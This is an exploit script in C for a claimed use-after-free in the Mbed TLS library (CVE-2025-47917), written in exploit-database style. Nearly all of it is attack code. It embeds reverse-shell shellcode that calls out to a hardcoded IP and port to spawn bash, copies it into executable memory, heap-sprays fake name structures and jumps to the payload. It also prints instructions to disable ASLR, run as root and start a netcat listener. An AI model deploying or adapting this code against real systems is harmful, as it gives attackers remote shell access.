Mbed TLS 3.6.4 Use-After-Free

/* * Exploit Title: Mbed TLS 3.6.4 - Use-After-Free * Google Dork: N/A * Date: 2025-08-29 * Exploit Author: Byte Reaper * Vendor Homepage: https://github.com/Mbed-TLS/mbedtls * Software Link: https://github.com/Mbed-TLS/mbedtls * Version: ≤ 3.6.4 * Tested on: Kali Linux * CVE: CVE-2025-47917 */ #include<stdio.h> #include<string.h> #include <sys/mman.h> #include <stdlib.h> #include <unistd.h> #include <stdint.h> #include "mbedtls/asn1.h" #include <mbedtls/x509.h> #include <mbedtls/x509_crt.h> #include <mbedtls/oid.h> #include <malloc.h> #define _GNU_SOURCE typedef struct { unsigned char *pointer; size_t pointerLen; }shell; typedef struct fake_named_data { struct fake_named_data *next; mbedtls_asn1_buf oid; mbedtls_asn1_buf val; } fake_named_data; void eS() { __asm__ volatile ( "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" : : :"rax", "rdi" ); } void checkAslr() { FILE *f = fopen("/proc/sys/kernel/randomize_va_space", "r"); if (!f) { perror("\e[1;31m[-] Error Open File !"); eS(); } int val; if (fscanf(f, "%d", &val) != 1) { printf("\e[1;31m[-] Failed to read ASLR status.\e[0m\n"); fclose(f); eS(); } fclose(f); if (val != 0) { printf("\e[1;31m[-] ASLR is enabled (value=%d). This may prevent reliable exploitation.\e[0m\n", val); printf("[\e[1;31m-] Please disable ASLR temporarily using: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space\n"); printf("\e[1;31m[-] Exiting to avoid crash.\e[0m\n"); eS(); } printf("\e[1;36m[+] ASLR is disabled (value=0). Environment looks good.\e[0m\n"); } shell inject() { // ip : 192.168.92.187 // port : 4454 unsigned char shellcode[] = { 0x48, 0x31, 0xd2, 0xb8, 0x29, 0x00, 0x00, 0x00, 0xbe, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x89, 0xc7, 0x49, 0x89, 0xc4, 0x48, 0x83, 0xec, 0x10, 0xc7, 0x44, 0x24, 0x0c, 0xbd, 0x5c, 0xa8, 0xc0, 0x66, 0xc7, 0x44, 0x24, 0x0a, 0x11, 0xc1, 0x66, 0xc7, 0x44, 0x24, 0x08, 0x02, 0x00, 0x48, 0x89, 0xe6, 0xba, 0x10, 0x00, 0x00, 0x00, 0xb8, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x4c, 0x89, 0xe7, 0xbe, 0x02, 0x00, 0x00, 0x00, 0xb8, 0x21, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xff, 0xce, 0x79, 0xf4, 0x48, 0x31, 0xd2, 0x48, 0xb8, 0x62, 0x2f, 0x73, 0x62, 0x61, 0x73, 0x68, 0x00, 0x50, 0x48, 0xb8, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x50, 0x48, 0x89, 0xe7, 0x52, 0x57, 0x48, 0x89, 0xe6, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05 }; size_t shellcodeLen = sizeof(shellcode); shell a = { shellcode, shellcodeLen }; void *page = mmap(NULL, a.pointerLen, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANON|MAP_PRIVATE, -1, 0); memcpy(page, a.pointer, a.pointerLen); a.pointer = page; return a; } void paddingChunk(void *fakeP, size_t len) { for (int i = 0; i < 10000; i++) { void *p = malloc(len); size_t usable = malloc_usable_size(p); memcpy(p, fakeP, len); memset((char*)p + len, 0, usable - len); } } void pointerHead(mbedtls_asn1_named_data *head) { if (head->val.p == NULL) { printf("\e[1;91m[-] Pointer ShellCode Is NULl !!\e[0m\n"); eS(); } printf("\e[1;36m[*] Jumping to shellcode at %p\e[0m\n", head->val.p); void (*u)() = (void(*)()) head->val.p; u(); } void tls() { mbedtls_asn1_named_data *head = NULL; printf("\e[1;34m[+] Create Head Successfully !\e[0m\n"); printf("\e[1;35m[*] head before first call: %p\e[0m\n", head); int value = mbedtls_x509_string_to_names(&head, "CN=AAAA"); shell a = inject(); void *exec_mem = a.pointer; fake_named_data data = { .next = NULL, .oid = { .p = (unsigned char*) MBEDTLS_OID_AT_CN, .len = sizeof(MBEDTLS_OID_AT_CN) - 1 }, .val = { .p = a.pointer, .len = a.pointerLen } }; printf("\e[1;35m[*] head after first call: %p (value=%d)\e[0m\n", head, value); paddingChunk(&data, sizeof(mbedtls_asn1_named_data)); printf("\e[1;34m[+] Use heap spray...\e[0m\n"); usleep(500000); if (value == MBEDTLS_ERR_X509_INVALID_NAME) { printf("\e[1;31m[-] Invaild Name (Med Tls Name)!\e[0m\n"); printf("[\e[1;31m-] Value => (MBEDTLS_ERR_X509_INVALID_NAME)\e[0m\n"); printf("\e[1;31m[-] Exit (sys_exit)...\e[0m\n"); eS(); } printf("\e[1;35m[*] head before second call: %p\e[0m\n", head); int value2 = mbedtls_x509_string_to_names(&head, "CN=AAAA,CN=BBBB"); printf("\e[1;35m[*] head after second call: %p (value=%d)\e[0m\n", head, value2); printf("\e[1;34m[+] Successfully Create String Name.\e[0m\n"); pointerHead(head); printf("\e[1;34m[+] Jump Shellcode Pointer ...\e[0m\n"); printf("\e[1;34m[+] Pointer Shellcode : %p\e[0m\n", a.pointer); printf("\e[1;34m[+] Shellcode Injection Successfully !\e[0m\n"); printf("\e[1;34m[+] Shellcode Len : %zu\e[0m\n", a.pointerLen); printf("\e[1;33m[+] Please Check Reverse shell (nc -lvnp 4454)\e[0m\n"); printf("\e[1;34m[+] Success Free Head !\e[0m\n"); } int main() { printf("\e[0;95m+-------------------------------------------------+\e[0m\n"); printf("\e[0;95m|\e[0m \e[1;37mByte Reaper\e[0m \e[0;95m|\e[0m\n"); printf("\e[0;95m|\e[0m \e[1;33mExploit: CVE-2025-47917\e[0m \e[0;95m|\e[0m\n"); printf("\e[0;95m|\e[0m \e[1;31mVulnerability: UAF\e[0m \e[0;95m|\e[0m\n"); printf("\e[0;95m+-------------------------------------------------+\e[0m\n"); if (getuid() != 0) { printf("\e[1;31m[-] Please Run exploit in Root (sudo ./exploit)\n"); eS(); } checkAslr(); tls(); return 0; }